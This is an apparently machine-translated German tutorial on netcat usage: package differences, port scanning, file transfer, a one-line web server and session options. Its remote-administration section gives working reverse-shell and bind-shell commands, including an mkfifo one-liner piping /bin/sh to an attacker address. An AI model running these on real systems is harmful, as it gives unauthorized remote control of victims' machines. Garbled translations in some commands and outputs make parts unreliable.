Ein kurzer Unterschied zwischen netcat-traditional und netcat-openbsd
Es gibt zwei ähnliche Pakete für netcat mit einem kleinen Unterschied zwischen ihnen.
netcat-traditionell enthält eine zusätzliche '-e'-Option, die zum Binden eines Programms verwendet werden kann (i.e bash) mit netcat. Diese Funktion ist sehr nützlich für Fernverwaltungszwecke.
netcat-openbsd haben zusätzliche Unterstützung für IPv6 und Proxys.
Netcat-Installation
Netcat ist zwar in den meisten Linux-Distributionen vorinstalliert, aber wenn nicht, kann es einfach mit den folgenden Befehlen installiert werden.
Für traditionelles Paket,
[email protected]:~$ sudo apt-get install netcat-traditionalFür OpenBSD-Version,
[email protected]:~$ sudo apt-get install netcat-openbsdNetcat für Windows kann hier heruntergeladen werden https://sourceforge.net/projects/nc110/files/.
Jetzt werden wir einige interessante Anwendungsfälle von netcat untersuchen
Port-Scanning mit netcat
Um nach offenen Ports zu suchen, verwenden Sie die Option '-z'. Netcat wird versuchen, sich mit jedem Port zu verbinden, ohne Daten zu senden oder im UDP-Fall sehr begrenzte Daten data. Geben Sie Folgendes ein
[email protected]:~$ nc -z -v hackme.org 80… schnippel…
Hacke mich.org [217.78.1.155] 80 (http) öffnen
Um nach einer Reihe von Ports zu suchen, geben Sie
[email protected]:~$ nc -z -nv 192.168.100.72 20-80(UNBEKANNT) [192.168.100.72] 80 (http) öffnen
(UNBEKANNT) [192.168.100.72] 22 (ssh) offen
Dateiübertragung mit netcat
Ein weiterer nützlicher Anwendungsfall von netcat ist die Dateiübertragung zwischen Remote-Computern. Sie können Texte und Binärdateien von einem PC an einen anderen PC senden. Wir werden versuchen, eine Datei "Datei" zu senden.pdf“ von Linux-PC zu Windows-PC [IP 192.168.100.72] am Beispiel von netcat.
Geben Sie auf dem Windows-Computer (Empfänger) Folgendes ein
C:\Benutzer> nc -nvlp 1337 > Datei.pdfHören auf [0.0.0.0] (Familie 2, Port 1337)
Geben Sie auf dem Linux-Computer (Sender) Folgendes ein the
[email protected]:~$ nc -nv 192.168.100.72 1337 < file.pdfAnschluss an 192.168.100.72 1337 Port [tcp/*] erfolgreich!
Fernverwaltung mit netcat
Einer der besten Anwendungsfälle von netcat ist die Remote-Administration, d. h. Sie können den PC eines anderen mit netcat steuern. Netcat-traditional wird mit der Option '-e' geliefert, die verwendet werden kann, um ein Programm zu binden (i.e cmd.exe unter Windows oder bash unter Linux) mit einem Port, d.h. netcat fungiert als Kommunikator zwischen dem Programm und dem Remote-PC. Netcat empfängt Befehle vom Remote-PC, wird auf dem lokalen System ausgeführt und sendet die Ergebnisse zurück an den Remote-PC. Diese Funktion wird häufig für böswillige Zwecke verwendet, um Hintertüren in PCs und Servern zu halten. Diese Funktion ist nur in netcat-traditional verfügbar, aber mit einem kleinen Trick kann auch netcat-openbsd für den gleichen Zweck verwendet werden. Sie können den PC anderer auf zwei Arten steuern.
In einem Umgekehrte Schale Verbindung, ein Angreifer lauscht an einem Port und wartet darauf, dass eine Verbindung vom Computer des Opfers gesendet wird. Es wird verwendet, wenn sich der Computer des Opfers hinter NAT befindet oder keine öffentliche IP-Adresse hat.
Um eine Reverse-Shell mit netcat zu erhalten, müssen Sie einen Port mit netcat abhören. Geben Sie Folgendes auf dem Angreifer-Rechner ein,
[email protected]:~$ nc -nvlp 1337Hören auf [0.0.0.0] (Familie 2, Port 1337)
Auf dem Computer des Opfers (wenn netcat-traditionell ist installiert)
// „/bin/bash“ durch „cmd“ ersetzen.exe“ bei Windows
[email protected]:~$ nc -nv [IP_ADDR] 1337 -e /bin/bashZum netcat-openbsd (wobei die Option „-e“ nicht unterstützt wird)
[email protected]:~$ rm /tmp/f;mkfifo /tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc [IP_ADDR] 1337 >/tmp/f
Während in a Muschel binden Verbindung, Angreifer bindet einen Port auf dem Opfercomputer und verbindet sich mit diesem Port über den Client-Socket. Es wird verwendet, wenn sich der Computer des Angreifers hinter NAT befindet oder keine öffentliche IP-Adresse hat.
Geben Sie auf dem Computer des Opfers
[email protected]:~$ nc -nlvp 1337 -e /bin/bashHören auf [irgendein] 1337…
Um nun Befehle auf dem Opfercomputer auszuführen, geben Sie ein
[email protected]:~$ nc -nv 127.0.0.1 1337Anschluss an 127.0.0.1 1337-Port [tcp/*] erfolgreich!
$ id
uid=1000(azad) gid=1000(azad) Gruppen=1000(azad),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),118(lpadmin),129(sambashare)
Einfacher Webserver mit netcat
Sie können auch einen anderen einfachen Trick ausführen, um netcat als minimalen Single-Page-Webserver zu verwenden. Dieser Webserver wäre ohne spezielle Konfigurationen sehr einfach, und wir verwenden ihn, um unseren HTML-Code an den Browser zu senden.
[email protected]:~$ while true ; do echo -e "HTTP/1.1 200 OK\n\n $(Echo "
Mein einfacher Webserver mit netcat
")" | nc -nvlp 1337 ; getanHören auf [0.0.0.0] (Familie 2, Port 1337)
Versuchen Sie nun, die Webseite mit curl . abzurufen
[email protected]:~$ curl http://127.0.0.1:1337/Mein einfacher Webserver mit netcat
Timeout für eine Netcat-Sitzung festlegen
Sie können die Zeitüberschreitung für eine Netcat-Sitzung mit der Option „-w“ festlegen. Netcat wird seine Sitzung automatisch trennen, wenn die angegebene Zeit abgelaufen ist.
// -w [Zeit in Sekunden][email protected]:~$ nc -w 40 -nvlp 1337
Hören auf [0.0.0.0] (Familie 2, Port 1234)
Hören Sie weiter, auch wenn der Client die Verbindung schließt
Im normalen Modus fährt der Netcat-Server herunter und hört auf, den Port zu überwachen, wenn ein Client die Verbindung schließt. Sie können den Server mit der Option "-k" am Laufen halten
[email protected]:~$ nc -k -nlvp 1234Hören auf [0.0.0.0] (Familie 2, Port 1234)
Fazit
Netcat ist ein einfaches, aber effizientes Dienstprogramm, das für viele einfache tägliche Aufgaben verwendet werden kann. Es ist in fast allen UNIX-ähnlichen Betriebssystemen vorinstalliert und kann für verschiedene Aufgaben wie die Kommunikation zwischen zwei PCs, Dateitransfer und vieles mehr verwendet werden.